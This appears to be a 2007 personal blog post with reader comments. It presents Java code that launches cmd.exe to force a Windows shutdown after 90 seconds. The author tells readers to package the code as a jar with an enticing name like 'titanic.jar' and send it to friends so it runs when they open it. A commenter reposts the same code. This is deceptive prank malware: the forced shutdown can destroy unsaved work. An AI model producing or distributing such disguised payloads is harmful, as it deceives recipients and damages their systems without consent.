Did u know that u can shutdown someone’s machine(windows) using java????
ha ha ha, there is no particular fundoo java is involved here. Here is the code…u must know the location where windows is installed. Currently i assumed it to be….C:\Windows. So, the cmd.exe is inside C:\Windows\System32. Now follows the code….
package com.deepak.entertainment;
import java.io.IOException;
import java.io.OutputStream;
public class Deepak {
public static void main(String[] args) throws InterruptedException {
Runtime runtime = Runtime.getRuntime();
try {
Process process = runtime.exec(“C:\\WINDOWS\\system32\\cmd.exe”);
OutputStream os = process.getOutputStream();
os.write(“shutdown -s -f -t 90 \n\r”.getBytes());
os.close();
process.waitFor();
} catch (IOException e) {
e.printStackTrace();
}
}
}
package this class in a jar file with proper Main-Class entry in manifest file. U can always use jar -mcvf command to create a jar file if u have a proper manifest file. Otherwise the IDEs like eclipse allow tou to export ur main class as a jar file. Done!!!
Now, give this jar file a good name something like “titanic.jar” or something and send it to ur friends. If they have a jdk instlled and they double click the file(open with java) the machine will be shutdown in 90 seconds(configurable in the above code). You cant kill the shutdown process untill you open a command prompt and type
shutdown -a
a is for aborting shutdown.
Cheersssssssssssss!!!!!
3 Comments »
Leave a comment
-
Recent
- interesting fact about identityHashCode() method in java.lang.System Class
- Interesting inconsistency with java String pool
- did u know u can find the location of the .class file from the instance??
- Cases for Shortcomings of Single Request-Response model
- Information asymmetry
- Another bad mark on My Image in Boss’s Mind……:(
- Sharing the same connection or transaction space between derby sql and java.
- Did u know that u can shutdown someone’s machine(windows) using java????
- Utilizing JAVA’s power in Derby Database Triggers
- Dids u know that u can search across multiple columns in a database table??
- Did you know that you can compare RAW columns in a DB?
-
Links
-
Archives
- July 2008 (2)
- April 2008 (2)
- September 2007 (5)
- August 2007 (1)
- May 2007 (1)
-
Categories
-
RSS
Entries RSS
Comments RSS
I would like to see a continuation of the topic
Comment by Maximus | December 20, 2007 |
Hi Deepak,
I am using your code for shutdown windows. I copied the same class as you given and replaced path of “cmd.exe” like “c://WINNT/system32/cmd.exe” as I am working on Windows2000. But my code is not able to shutdown machine. it just executed without any error.
here is the method which I have written:
public static void main (String[] args) throws InterruptedException {
Runtime runtime = Runtime.getRuntime ();
try {
Process process = runtime.exec (“C:\\WINNT\\system32\\cmd.exe”);
OutputStream os = process.getOutputStream ();
os.write (“shutdown -s -f -t 90 \n\r”.getBytes ());
os.close ();
process.waitFor ();
} catch (IOException e) {
e.printStackTrace ();
}
}
Please help me if any changes may required in the code.
Thanks,
Tejas
Comment by Tejas Purohit | July 26, 2008 |
Hi Please try this link.. You can find both using Microsoft VC++ compilers and MinGW compilers
http://elangovv.wordpress.com/
Comment by elangovv | August 8, 2010 |